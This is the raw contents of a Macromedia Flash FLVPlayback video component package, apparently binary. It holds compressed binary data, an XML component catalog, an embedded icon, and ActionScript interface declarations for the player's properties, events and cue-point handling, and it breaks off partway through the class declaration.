OFbMʜT0ZQhҒkZ<$lv({e<vU_aW[]xk|1
O[.'ImMV#87mor齱F݅W1aZܑ@Ϋsa7y6تG+c\Z:a[ȢGʧRI@R=Ll	CO<(R̛TsC΃"
Asƶ&ί;$]N<I
PI'ԓ:QP6A"eQo+
oxWu, .6R%!⏁pUГ=>ߛH
`a,˹
M[Mtmkȼz
x̧rFjMѳtv(/O4jdS<	0(%e'ӓmd7f[\{G.(5O+sb8*|}s
EߑmOc,E?,JN;>$/uaΛѴO}δѯ咁sEok+=<T*Bu<n.铸u@v.6El
ٽ!ubȻ>6Jpf"Pyo:u2dj410f8/lN1@,F&{SEZ:KbOqKQ}	\/
wy^D6)E־-,p"?C\u.E54QӜv/m;p>Z_{q+s[͇.!jfGSUr|^I<fD=bTGPz&Yj')9,1Y*`,,,럋ZO$YF<ϩHm]XwpQqToix:8i>*B+CXߨRw/{,[rk0IOv08y?8TׁXBNghg.݋\}H!&qTN0Us7𱰁N|y>֮6u?(nqo!q1/p

Ԃf,kFK\g(rtN|l럕ö!bRR Ű%}^c8H2@ㇰxs*`:/:|wgO:.ad8`/`/yȥ
E&	(Jve̲<N׮׺3M,r.ǖa.>F[(wwUnyH.+Qck^!>gD˛=%I>҅j:?7q{=#x-pp)/'H+^;Bmҳ+ߵhSN
ERz2UBBCyn}Fu/n ዳr۹OԻ*aY?	|#JG_	k-J_T+YJ4o<Eriz2Rlxag=y(
ľb{˰_+B2{b-ω0uRUpGTī@a>'Y8&!kpF_k:9cj*#m8]҉~Lo8E_`|R-o^/뢔	pN>QI5zQв"`^CS
3<èct64e'-D%-Z0H#!mWIH{`s#Ne`'k}[͋W|u,>j
19^0fx;"/=5]MZP?G!<*03E:'{`CciUi
@R\	#P3M>Nz/i/Ei-4ga-hƣ:͞<<.fiN`J,uvNAH/5;X^S3[q@3\nqLgCL晰7	CBk)>ײ`(r&JMX^)k,}BT1']i\N.S~컐'|TW6p"ʖYr?+#ャ98<)8<;8|28N?G+gg?X"cv_u-`?V}K|<ϐoTX$ݑDSITs_{LVWY\k 4Wu:z%3t3*=:w -BmZ_d\I-;0ӝo@Pgf5\f#f
st)^Ϫ8H8_! #12K`pL|h<5 XPp3#&X(q2и5K߭Qp`*Xx#,>5$X91K(xt\9h1бrhPyȏ+F3K6o0H&*H$hexC#w/o0%ʳ:{;Д)e{-$tS^ք)Q14MI!qIlX#IQx{<oE.e90
rPG&zW7|Ua7Dկ>!T2p<wy!Z/݌w/ӽ|oR?\xJȢ}bYJ܍Ho <8a!F~Dx!5+.q<i|KLJזٚgǗ/W5\
RAFyȁi$Q`*yȯB`
ڥ o*܊>֊#p~8-32{™
'YwAa,j&70F=
I&u+uilLtOBLs
I%|]b
a':n$4kWN=\q[v$b%Uѭ>G­ w|^Yxq=ud70t 4ȱ>F,м)ZRj}C
b
K'`)-ӕyÃ3`?=Yl\uwf̼%k{Z-eZ)k!)M
d9zH>RcfyC-q,]ܤU6+hm
M6?m$E{ι[(Hw{{YbَHsoj>;ڢ=OqÎ(?loAdlc|x3#SFY
rR5L4`n\(^2t}dMLN
Mt;d\啮]W^&'/NBHV7y?jRΊuolym8^{7{PDWmFi|ZUon0*ۯutoʳU".{:n'$~׫7cR.O<ʠfPOZJEHߣMh"*$H;qǒZDΜ
1qV<F9]N=:@mfǧ,x|"
;S\[Q7.;/'cћW1ocSG_?Oc2wpw^:<e_QJKR+K4ڣVZjuR-VßM$Z8pő	xiSMIL`<q	"2&&iG^Mg6xFi,Y(SIfX":
źk?|wVL8tP·:F~/ :r
4tzȴE*&bfUĈy~)ϼPo(fjsk,:,yKFCIcʵSys|s*S?U7Xs9&pb^]1R|'(aJ߮T!~IuoV<|D\+WJC\ q[Eݾ=QAᛗ5~!hT`BoU~`-3]\[fe\fo:e+ݴ2!=68;bbg;ɴ^$s*
?h޼5SYYky6Wz89JxVk=W~_o-p'?̗M+~7<.
kQA?am.J\IQh(Fo*7l_CpR$B B-5K|P!obado2_alN <}tIPmnު4b:C*@*LHD*l⎬ssMȽ\T3K,/Q&vyvOSva_)t)/2}삃%!͆4_~aTjGDTh?:N+#
9U)wB=GQ$mA0 a[XP>BkMP((I'aCc픯zn5=zm*xF%]N<FߧouFPuFzTޡH^{.׫G6#M*Qi	LɻL7:n
#a`5ORm7Jƭe cZP/T>	}%@՟)K@vDB!	^T!vqJ~gG]1PsSN){V$-&40#MmD9W9߆y3%<\/Xl%@l0zN*V#S
Q4Z
c%}s}p,v	h$C1o{V*g)+׬$e=cFA]se``f.QȐ_S`3cj8cȰTa5B㣔\qEӾd7u-K2!,$&$!JՊ	T1<cAO5upNN2k`ҎTt8>L/t܀!1Uqa]X6R9;6.	Gq IT&Ã}FnHI%B$0JiY/&4|b;B%mkR1"նIvDĀD?d&Bu~4rVEDfzx^3ܧZS=Q>1r93bVd]*e/F?e~	\A~ǻon;S1Ğ7ցjqy2u./is\fX?y<.t١2,1aPV^o|Y"vR"'W4&)~JBi4[焵txA}-&p0vg,BZcJӒIWk' Ϙ#O,<
`ƳaPD-6:6Y݇ZDtS-S>A6`'^hR]Ix'r{#_g&98#I-RD7>9~59Mi\?>_)cī"b1C?o'nx)y4^H7v&<b"p@nD;xyw/4ĬBOm4q%.h&g/`uHDb!Wk9"vo]Mѯ2ؕk+*.A5XC\$5oI)A.y*|&ژ=1ZL&Hπ
s^E9S_ҦXcEFZb[Ѿ)qts e'<S1bjX4p(yPIq"qFdt3N#U(E'Vruմ-wRkRo×y>&qP6bhڞ!sN*&xJ=ifn=盕*9f[T-E8QX+UAQ#\Xy ~RJ251TA&LI1|jQL$DԐœh	&4D4Ք=tDs0J{WCiR9:&iF8hG1h}
Ԁpt
mZI@2\;ۆq~k^$Ǵg9ݏlUg,:LR֞JռmbYh1emfbQ@B!FX`OD."Ph[WePk1GkH>*E}O뽏YVQR1QΩG6}@&dOӱGTXt⏻\8yqϻOXd6DjqR(}/JuW藅=3W/ƴI GC|p
_Rv!w_e(mזWTDO?Ixo
!K'>cģKݶ^-#l<P)!~`
EAڸ_VL@r'99iJ+zXsC!40V %qkڄ8.iwXPcvo3_72q$Z/h)>/>@8i8Z-y">QO%1{SàZJS-~_IaO8aC&BqaW$vK}Hy<!i0f(=-/)bٴ]ѽ'r) k"}ԅ9kߛx$ggQZݣ(L
Tܜv[oI{}"Hg@
Op+\~K$9v#܅оuj<:O[ff"Q٬ l%:U0HzmZnV)Bk5
MSERB4GnUVQ咗v^59dp֫,xUD]*MұU{~
Ubtxa",J#T䉃yb 5DG+
\[>1Zl}>}ïǨ%PVJ'5ˋ"*˕?/jF.(ZQ2
dUA%{#"қ%MO[`z|%i3XE\׼Wx*ؔ<ϮzmQIB.贗94{fQBZ4igUrZBuA)ZTd=>"s@(Κ%*a~/#<N[]je@ML[<=goNLFAJqSAE

(HĔB`upGi
iP2,t>'VY`2:Kӈs!碘El.q%kx1|-\3"WMI{>&G.qp =/D'cbR(рBik~m&To/I2[>la&c4ngm X(7~R
w}ps4NţCPaMJcܕvfocxI{r+˩_kYǾ$!KF)j2Za)ZR9n'HLFaW{9op
"PVun& 
$K.HꑼWsOJ:3T캾cћmdE/f/	qNXNk!,
1q-9*
qK"?y2Dbv-էSk'Oc3%	m
S`2H:ڧȅLeU1C3gK%UP$4>w(%#ar]m@rF 5J,=.69^$@AF0y"0ST'[~:1ޛj)\_bͭC&6o"Կb:O
s796qRqD9-5J
JR(!~zS	gyz\٥TT%(rbZ	qrÊp;if҈A3^U;#dKVKZxF?58!:_m,%S1av+OV#i\ɑqw1X	E9J}$
U"Bga6gʏH摾/ETOݹIǜ-,>}ădoi!gz?A6Y>&o8˄~FvԂYE@'[J5qŅ&AʥJ@(IsɃtuתpGĽXȲ\h9P[rp%!˜̳p)zoksQ7dĿ@wiJ/7[
ar8:T\-
GFMG6 MAf3-J~ZuBt2d
T`
yp24-}it_zyE=x#+BVH>hb#yiΫ,),pσ\'2IsRSJdIP>xBZ_KX
}+x|B9.O"3Gѕ|A8z\YӉ.}~O8赭F/SYi""u~01c	K`/c:wg)37nQduFQH-$W^@q]2p,HOQ.8~N5.?j%4+MVcZh'+sLt#a}!8
KA4 g`/	S)(|MFjo<Yߘk1ۭH}c5g˷βlϲg߁3gnz,#0!D('Ѹe4zVBΰ4;L+}Η5S-!߶_k[922fkbx1A.%%t=GoZn*C71oW}9|2ۄ
!ɧ͑s-;փ4P\c8h5Mz$o{=vpZƅt4EMcHhc2f;*{2HKO=kBY2ZCN:H6i c^ݧSog/NY]j^v2
!W?hFvmEYo1޴h
ƌj"M]i0aG0:bѱ&`t$cE`t$FFE{ΐ
Z|o8=!\$6m!xD6u!LV<>CX֜MJgz!7)XG簛<}ޢ|Υ"zp D	9.]F$%܏ɤ}O1Mxu oAf")xjBVi{xG'%!+!{؎6~v>_i^e]ޢV1=Lޢ߷Hvt91]ȉXq`mNf~lЧk;"O 83EBo%G(j#E}^`6#vpIxGv,~5<KvOTA<ց>*TKc.qԥdKXBY#9Z
[3{{:<eЁ9§Ǹex%c&& &ᨏ$؎ePૃ$jcN=t5<Y<I+8!HVK):)WT|53+BydGdYZ٧,"Ik0Smf!OlV"hNR+zYEqJ
DNL9c7,ԃ9EU7l#v҃wh?FzIu,]w	?9)X `Nɮ8ْd݊dVAV^S6 lh3kOB'{:tј)n;9+'zQ?\OC,EAY+ ,MM˟HeIYx<VHU6!^yܗ:Mlk!mn\́5oO=gMf$nfxZOL1XaJD xDꎺ

aGǝԝD3Dw8u7U,R;8B5_o]Ʊ>(WW8F5ǽ=h+_>e9GDϓr
r@DL%z
BHoedybH&7fii>^| keqɑBx9k=2yBsZ7h$ř	-BAǖ̈́!M013Pݠ]pQ$1z' k?mE" e3*kYBVnc	Dr!-b2i}lxEF0S/ xg,v&J7g]I(	a^6Ԛt!CwG4
DItLɬ%4oliK0MLfG^@W&HcL+ŷ,Q!P*>þO(' ;hCNЏB7'9#ȡXD
F|)bC߃vOwV|Y+h)ƀw]Z**]ܱ?۝QAD)Dni#!Ҷ7Ü)bwbm
lSCT
[Uzy]M!l=p8BO

U9Cs|'kXΥ`yceq}MYt5?HMbc"k79=-fؕg	WI@DWz72)"MHU*/Ԫw5pDaB`!or\G0+侶&h+7[jЃBIgPd(oLЌ[Cp1{9Feq`cHc8iyMp4MW;)x6^7﷝F}:)LڽQRmJ2:T J̱RZh"z^X)AhBկN1/RNC,0P`Ru1tO
b6l5k1UYtLKE/ռGNЈD7lʶ19eE;;>چ4f:C9tNZviMU>1et%7%yB^3k |U;G؞tbƌ.
A?1+>(67UCnNF@!6`~yZoaԉuNΰCw/Nj1^D
oL:mS+80V.!BvkFrBP/
aiCCҘ + YE&-~>e
IELu
I3Fc}XX&J)I!A	SѣJg[D
QKO{	9M$T<1P\rO=!bbgڧpԙ2ie5Ǖ#I	K"'9(yQ'k,`*MgJ
OC$&STfy=:	(dYDt!E?ot
|֢Z]J0	ugRc򌦞+?.acN:Q'ъVÆp X:Jc,cjܭWg)<4epl_Jl)-σ/u^-r DZ<8ԃe
MЂȄ,Oό'8EC1wutA؅+Hcp29,(5SpϺ3nٝuy׏?.X7a-M}EUgWE}lڧ'{oc+`/ٶaL@H˫md
4H$uFM++lLXEy	)autoPlaytrueautoPlay5 D{I
autoRewindtrue
autoRewindOso&E46BautoSizefalseautoSize%t>O 
bufferTime0.1
bufferTime69@-LJf
=5contentPathcontentPathAd.9Gj8	cuePoints	cuePoints4[oYBB\ձisLivefalseisLiveyEPfCL؏maintainAspectRatiotruemaintainAspectRatioA5{skinskinoNM-KqڗKskinAutoHidefalseskinAutoHidei`ROFY	totalTime0	totalTime"{BWHbLeuvolume100volumeKi
dE)TM*<?xml version="1.0" encoding ="utf-8"?>

<componentPackage xmlns="http://www.macromedia.com/flash/swccatalog/7">

<component id="FLVPlayback" class="mx.video.FLVPlayback" implementation="FLVPlayback.swf" iconFile="FLVPlayback.png" src="mx.video.FLVPlayback.asi" modified="1119134470">

<movieBounds xmin="0" xmax="6400" ymin="0" ymax="4800" />

    <include id="VideoPlayer"/>

    <include id="Icon"/>

    <exportAfter id="__Packages.mx.video.FLVPlayback"/>

<class id="mx.video.FLVPlayback" >

      <Event param1="buffering" />

      <Event param1="close" />

      <Event param1="complete" />

      <Event param1="cuePoint" />

      <Event param1="fastForward" />

      <Event param1="metadataReceived" />

      <Event param1="paused" />

      <Event param1="playing" />

      <Event param1="playheadUpdate" />

      <Event param1="progress" />

      <Event param1="ready" />

      <Event param1="resize" />

      <Event param1="rewind" />

      <Event param1="scrubFinish" />

      <Event param1="scrubStart" />

      <Event param1="seek" />

      <Event param1="skinError" />

      <Event param1="skinLoaded" />

      <Event param1="stateChange" />

      <Event param1="stopped" />

      <Event param1="volumeUpdate" />

      <IconFile param1="FLVPlayback.png" />

      <minimumPlayerVersion param1="8" />

      <RequiresDataBinding param1="true" />

      <LivePreviewVersion param1="1" />

   <method id="activeVideoPlayerIndex" returnType="Number">

      <Bindable />

   </method>

   <method id="autoPlay" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="autoRewind" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="autoSize" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="bufferTime" returnType="Number">

      <Inspectable defaultValue="0.1" />

   </method>

   <method id="bytesLoaded" returnType="Number">

      <ChangeEvent param1="progress" />

      <Bindable />

   </method>

   <method id="bytesTotal" returnType="Number">

      <ChangeEvent param1="progress" />

      <Bindable />

   </method>

   <method id="contentPath" returnType="String">

      <Inspectable type="Video Content Path" />

      <Bindable />

   </method>

   <method id="cuePoints" returnType="Void">

      <param id="cp" type="Array" />

      <Inspectable type="Video Cue Points" />

   </method>

   <method id="height" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="isLive" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="maintainAspectRatio" returnType="Boolean">

      <Inspectable defaultValue="true" />

   </method>

   <method id="paused" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="paused" />

      <Bindable />

   </method>

   <method id="playheadTime" returnType="Number">

      <ChangeEvent param1="playheadUpdate" />

      <Bindable />

   </method>

   <method id="playing" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="playing" />

      <Bindable />

   </method>

   <method id="preferredHeight" returnType="Number">

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="preferredWidth" returnType="Number">

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="scaleX" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="scaleY" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="skin" returnType="String">

      <Inspectable type="Video Skin" />

   </method>

   <method id="skinAutoHide" returnType="Boolean">

      <Inspectable defaultValue="false" />

   </method>

   <method id="state" returnType="String">

      <Bindable />

      <ChangeEvent param1="stateChange" />

   </method>

   <method id="stopped" returnType="Boolean">

      <ChangeEvent param1="stateChange" />

      <ChangeEvent param1="stopped" />

      <Bindable />

   </method>

   <method id="totalTime" returnType="Number">

      <Inspectable defaultValue="0" />

      <ChangeEvent param1="metadataReceived" />

      <Bindable />

   </method>

   <method id="volume" returnType="Number">

      <Inspectable defaultValue="100" />

      <ChangeEvent param1="volumeUpdate" />

      <Bindable />

   </method>

   <method id="width" returnType="Number">

      <ChangeEvent param1="resize" />

      <Bindable />

   </method>

   <method id="x" returnType="Number">

      <Bindable />

   </method>

   <method id="y" returnType="Number">

      <Bindable />

   </method>

</class>

<class id="MovieClip" >

</class>

<asset id="VideoPlayer" modified="1119134208">

      <exportAfter id="__Packages.mx.video.VideoPlayer"/>

</asset>

<asset id="Icon" modified="1116911395">

</asset>

<asset id="__Packages.mx.video.FLVPlayback" src="mx.video.FLVPlayback.asi" modified="1125340837">

    <include id="__Packages.mx.video.UIManager" />

    <include id="__Packages.mx.video.VideoPlayer" />

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.events.EventDispatcher" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.video.NCManager" />

    <include id="__Packages.mx.utils.Delegate" />

    <include id="__Packages.mx.video.CuePointManager" />

</asset>

<asset id="__Packages.mx.video.UIManager" src="mx.video.UIManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.FLVPlayback" />

    <include id="__Packages.mx.video.VideoPlayer" />

</asset>

<asset id="__Packages.mx.video.VideoPlayer" src="mx.video.VideoPlayer.asi" modified="1125340805">

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.events.EventDispatcher" />

    <include id="__Packages.mx.video.VideoError" />

</asset>

<asset id="__Packages.mx.video.INCManager" src="mx.video.INCManager.asi" modified="1125339837">

    <include id="__Packages.mx.video.VideoPlayer" />

</asset>

<asset id="__Packages.mx.events.EventDispatcher" src="mx.events.EventDispatcher.asi" modified="1121661006">

</asset>

<asset id="__Packages.mx.video.VideoError" src="mx.video.VideoError.asi" modified="1125339837">

</asset>

<asset id="__Packages.mx.video.NCManager" src="mx.video.NCManager.asi" modified="1125430975">

    <include id="__Packages.mx.video.VideoPlayer" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.video.SMILManager" />

    <exportAfter id="__Packages.mx.video.INCManager" />

</asset>

<asset id="__Packages.mx.video.SMILManager" src="mx.video.SMILManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.INCManager" />

    <include id="__Packages.mx.video.VideoError" />

    <include id="__Packages.mx.utils.Delegate" />

</asset>

<asset id="__Packages.mx.utils.Delegate" src="mx.utils.Delegate.asi" modified="1081807232">

</asset>

<asset id="__Packages.mx.video.CuePointManager" src="mx.video.CuePointManager.asi" modified="1125340805">

    <include id="__Packages.mx.video.FLVPlayback" />

    <include id="__Packages.mx.video.VideoError" />

</asset>

</component>

</componentPackage>

Media 1Bitmap 1FLVPlayback.pngHH2Hx&Aj`^]m2ٻj
]-.`WGKj5q޼y?;]k^%^I~nw[ɗۓq[
E$}}3i+a]DrxTY79::|꘧hϷ;`샻:ˇFeҡ]cDrx]]%SGDZs<w}Dzo;MZ|*Üpv_<&~EQNC?:Aog($FLVPlaybackFLVPlaybackFLVPlayback.swfCIconIconFLVPlayback.swf#BVideoPlayerVideoPlayerFLVPlayback.swfB__Packages.mx.video.VideoPlayerFLVPlayback.swf$__Packages.mx.events.EventDispatcher$__Packages.mx.events.EventDispatcherFLVPlayback.swfN0Bmx.events.EventDispatcher$

intrinsic class mx.events.EventDispatcher

{

   static var _fEventDispatcher:mx.events.EventDispatcher;

   static function _removeEventListener(queue:Object, event:String, handler):Void;

   public function addEventListener(event:String, handler):Void;

   public function dispatchEvent(eventObj:Object):Void;

   public function dispatchQueue(queueObj:Object, eventObj:Object):Void;

   static var exceptions:Object;

   static function initialize(object:Object):Void;

   public function removeEventListener(event:String, handler):Void;

};

__Packages.mx.utils.Delegate__Packages.mx.utils.DelegateFLVPlayback.swf{@mx.utils.Delegate

intrinsic class mx.utils.Delegate extends Object

{

   public function Delegate(f:Function);

   static function create(obj:Object, func:Function):Function;

   public function createDelegate(obj:Object):Function;

   private var func:Function;

};

#__Packages.mx.video.CuePointManager#__Packages.mx.video.CuePointManagerFLVPlayback.swfVC__Packages.mx.video.FLVPlaybackFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swfmx.video.CuePointManager	import mx.video.VideoError;

import mx.video.FLVPlayback;



[Event("cuePoint")] 

intrinsic class mx.video.CuePointManager

{

   public function CuePointManager(owner:mx.video.FLVPlayback, id:Number);

   static private var DEFAULT_LINEAR_SEARCH_TOLERANCE:Number;

   private var _asCuePointIndex:Number;

   private var _asCuePointTolerance:Number;

   private var _disabledCuePoints:Array;

   private var _disabledCuePointsByNameOnly:Object;

   private var _id:Number;

   private var _linearSearchTolerance:Number;

   private var _metadataLoaded:Boolean;

   private var _owner:mx.video.FLVPlayback;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Object;

   private function addOrDisable(disable:Boolean, cuePoint:Object):Void;

   public var allCuePoints:Array;

   public var asCuePoints:Array;

   static private function cuePointCompare(time:Number, name:String, cuePoint:Object):Number;

   static private var cuePointsReplace:Array;

   static private function deepCopyObject(obj:Object, recurseLevel:Number):Object;

   public function dispatchASCuePoints():Void;

   public var eventCuePoints:Array;

   public var flvCuePoints:Array;

   public function getCuePoint(cuePointArray:Array, closeIsOK:Boolean, timeNameOrCuePoint:Object):Object;

   private function getCuePointIndex(cuePointArray:Array, closeIsOK:Boolean, time:Number, name:String, start:Number, len:Number):Number;

   private function getNextCuePointIndexWithName(name:String, array:Array, index:Number):Number;

   public function getNextCuePointWithName(cuePoint:Object):Object;

   function get id():Number;

   private function insertCuePoint(insertIndex:Number, cuePointArray:Array, cuePoint:Object):Array;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   function get metadataLoaded():Boolean;

   public var navCuePoints:Array;

   function set playheadUpdateInterval(aTime:Number):Void;

   public function processCuePointsProperty(cuePoints:Array):Void;

   public function processFLVCuePoints(metadataCuePoints:Array):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   private function removeCuePoints(cuePointArray:Array, cuePoint:Object):Number;

   public function reset();

   public function resetASCuePointIndex(time:Number):Void;

   public function setFLVCuePointEnabled(enabled:Boolean, timeNameOrCuePoint:Object):Number;

   private function unescape(origStr:String):String;

};

__Packages.mx.video.FLVPlayback__Packages.mx.video.FLVPlaybackFLVPlayback.swfVC__Packages.mx.video.UIManagerFLVPlayback.swf__Packages.mx.video.VideoPlayerFLVPlayback.swf__Packages.mx.video.INCManagerFLVPlayback.swf$__Packages.mx.events.EventDispatcherFLVPlayback.swf__Packages.mx.video.VideoErrorFLVPlayback.swf__Packages.mx.video.NCManagerFLVPlayback.swf__Packages.mx.utils.DelegateFLVPlayback.swf#__Packages.mx.video.CuePointManagerFLVPlayback.swfmx.video.FLVPlayback.import mx.video.VideoPlayer;

import mx.video.VideoError;

import mx.video.UIManager;

import mx.events.EventDispatcher;

import mx.video.NCManager;

import mx.video.INCManager;

import mx.video.CuePointManager;

import mx.utils.Delegate;



[Event("buffering")] 

[Event("close")] 

[Event("complete")] 

[Event("cuePoint")] 

[Event("fastForward")] 

[Event("metadataReceived")] 

[Event("paused")] 

[Event("playing")] 

[Event("playheadUpdate")] 

[Event("progress")] 

[Event("ready")] 

[Event("resize")] 

[Event("rewind")] 

[Event("scrubFinish")] 

[Event("scrubStart")] 

[Event("seek")] 

[Event("skinError")] 

[Event("skinLoaded")] 

[Event("stateChange")] 

[Event("stopped")] 

[Event("volumeUpdate")] 

[IconFile("FLVPlayback.png")] 

[minimumPlayerVersion("8")] 

[RequiresDataBinding(true)] 

[LivePreviewVersion("1")] 

intrinsic class mx.video.FLVPlayback extends MovieClip

{

   static public var ACTIONSCRIPT;

   static public var ALL;

   static public var BUFFERING:String;

   static public var CONNECTION_ERROR:String;

   static public var DISCONNECTED:String;

   static public var EVENT;

   static public var FLV;

   public function FLVPlayback();

   static public var LOADING:String;

   static public var NAVIGATION;

   static public var PAUSED:String;

   static public var PLAYING:String;

   static public var REWINDING:String;

   static public var SEEKING:String;

   static private var SEEK_TO_PREV_OFFSET_DEFAULT:Number;

   static public var STOPPED:String;

   static private var VP_DEPTH_OFFSET:Number;

   private var __forceNCMgr:mx.video.NCManager;

   private var __height:Number;

   private var __width:Number;

   private var _activeVP:Number;

   private var _aspectRatio:Boolean;

   private var _autoPlay:Boolean;

   private var _autoRewind:Boolean;

   private var _autoSize:Boolean;

   private var _backButton:MovieClip;

   private var _bufferTime:Number;

   private var _bufferingBar:MovieClip;

   private var _bufferingBarHides:Boolean;

   private var _contentPath:String;

   private var _cpMgr:Array;

   private var _cuePoints:Array;

   private var _firstStreamReady:Boolean;

   private var _firstStreamShown:Boolean;

   private var _forwardButton:MovieClip;

   private var _idleTimeout:Number;

   private var _isLive:Boolean;

   private var _muteButton:MovieClip;

   private var _origHeight:Number;

   private var _origWidth:Number;

   private var _pauseButton:MovieClip;

   private var _playButton:MovieClip;

   private var _playPauseButton:MovieClip;

   private var _playheadUpdateInterval:Number;

   private var _preSeekTime:Number;

   private var _prevHeight:Number;

   private var _prevWidth:Number;

   private var _progressInterval:Number;

   private var _scaleX:Number;

   private var _scaleY:Number;

   public function _scrubFinish():Void;

   public function _scrubStart():Void;

   private var _seekBar:MovieClip;

   private var _seekBarInterval:Number;

   private var _seekBarScrubTolerance:Number;

   private var _seekToPrevOffset:Number;

   private var _skin:String;

   private var _skinAutoHide:Boolean;

   private var _stopButton:MovieClip;

   private var _topVP:Number;

   private var _totalTime:Number;

   private var _transform:Object;

   private var _uiMgr:mx.video.UIManager;

   private var _visibleVP:Number;

   private var _volume:Number;

   private var _volumeBar:MovieClip;

   private var _volumeBarInterval:Number;

   private var _volumeBarScrubTolerance:Number;

   private var _vp:Array;

   public var _vpState:Array;

   [Bindable] public function get activeVideoPlayerIndex():Number;

   public function set activeVideoPlayerIndex(i:Number):Void;

   public function addASCuePoint(timeOrCuePoint:Object, name:String, parameters:Object):Number;

   public var addEventListener:Function;

   [Inspectable(defaultValue=true)] public function get autoPlay():Boolean;

   public function set autoPlay(flag:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get autoRewind():Boolean;

   public function set autoRewind(flag:Boolean):Void;

   [Inspectable(defaultValue=false)] public function get autoSize():Boolean;

   public function set autoSize(flag:Boolean):Void;

   public function get backButton():MovieClip;

   public function set backButton(s:MovieClip):Void;

   public function get bitrate():Number;

   public function set bitrate(b:Number):Void;

   public var boundingBox_mc:MovieClip;

   public function bringVideoPlayerToFront(index:Number):Void;

   [Inspectable(defaultValue=0.1)] public function get bufferTime():Number;

   public function set bufferTime(aTime:Number):Void;

   public function get buffering():Boolean;

   public function get bufferingBar():MovieClip;

   public function set bufferingBar(s:MovieClip):Void;

   public function get bufferingBarHidesAndDisablesOthers():Boolean;

   public function set bufferingBarHidesAndDisablesOthers(b:Boolean):Void;

   [ChangeEvent("progress")] [Bindable] public function get bytesLoaded():Number;

   [ChangeEvent("progress")] [Bindable] public function get bytesTotal():Number;

   public function closeVideoPlayer(index:Number):mx.video.VideoPlayer;

   [Inspectable(type="Video Content Path")] [Bindable] public function get contentPath():String;

   public function set contentPath(url:String):Void;

   private function createLivePreviewMovieClip():Void;

   private function createUIManager():Void;

   private function createVideoPlayer(index:Number):Void;

   [Inspectable(type="Video Cue Points")] public function set cuePoints(cp:Array):Void;

   public var dispatchEvent:Function;

   public var dispatchQueue:Function;

   private function doContentPathConnect():Void;

   public function findCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNearestCuePoint(timeNameOrCuePoint:Object, type:String):Object;

   public function findNextCuePointWithName(cuePoint:Object):Object;

   public function get forwardButton():MovieClip;

   public function set forwardButton(s:MovieClip):Void;

   public function getNextHighestDepth():Number;

   public function getVideoPlayer(index:Number):mx.video.VideoPlayer;

   private function handleEvent(e:Object):Void;

   [ChangeEvent("resize")] [Bindable] public function get height():Number;

   public function set height(h:Number):Void;

   public function get idleTimeout():Number;

   public function set idleTimeout(aTime:Number):Void;

   public function isFLVCuePointEnabled(timeNameOrCuePoint:Object):Boolean;

   [Inspectable(defaultValue=false)] public function get isLive():Boolean;

   public function set isLive(flag:Boolean):Void;

   public function get isRTMP():Boolean;

   public function load(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   [Inspectable(defaultValue=true)] public function get maintainAspectRatio():Boolean;

   public function set maintainAspectRatio(flag:Boolean):Void;

   public function get metadata():Object;

   public function get metadataLoaded():Boolean;

   public function get muteButton():MovieClip;

   public function set muteButton(s:MovieClip):Void;

   public function get ncMgr():mx.video.INCManager;

   public function pause():Void;

   public function get pauseButton():MovieClip;

   public function set pauseButton(s:MovieClip):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("paused")] [Bindable] public function get paused():Boolean;

   public function play(contentPath:String, totalTime:Number, isLive:Boolean):Void;

   public function get playButton():MovieClip;

   public function set playButton(s:MovieClip):Void;

   public function get playPauseButton():MovieClip;

   public function set playPauseButton(s:MovieClip):Void;

   public function get playheadPercentage():Number;

   public function set playheadPercentage(percent:Number);

   [ChangeEvent("playheadUpdate")] [Bindable] public function get playheadTime():Number;

   public function set playheadTime(position:Number):Void;

   public function get playheadUpdateInterval():Number;

   public function set playheadUpdateInterval(aTime:Number):Void;

   [ChangeEvent("stateChange")] [ChangeEvent("playing")] [Bindable] public function get playing():Boolean;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredHeight():Number;

   [ChangeEvent("metadataReceived")] [Bindable] public function get preferredWidth():Number;

   private var preview_mc:MovieClip;

   public function get progressInterval():Number;

   public function set progressInterval(aTime:Number):Void;

   public function removeASCuePoint(timeNameOrCuePoint:Object):Object;

   public var removeEventListener:Function;

   [ChangeEvent("resize")] [Bindable] function get scaleX():Number;

   function set scaleX(xs:Number):Void;

   [ChangeEvent("resize")] [Bindable] function get scaleY():Number;

   function set scaleY(ys:Number):Void;

   public function get scrubbing():Boolean;

   public function seek(time:Number):Void;

   public function get seekBar():MovieClip;

   public function set seekBar(s:MovieClip):Void;

   public function get seekBarInterval():Number;

   public function set seekBarInterval(s:Number);

   public function get seekBarScrubTolerance():Number;

   public function set seekBarScrubTolerance(s:Number);

   public function seekPercent(percent:Number):Void;

   public function seekSeconds(time:Number):Void;

   public function seekToNavCuePoint(timeNameOrCuePoint:Object):Void;

   public function seekToNextNavCuePoint(time:Number):Void;

   public function seekToPrevNavCuePoint(time:Number):Void;

   public function get seekToPrevOffset():Number;

   public function set seekToPrevOffset(s:Number):Void;

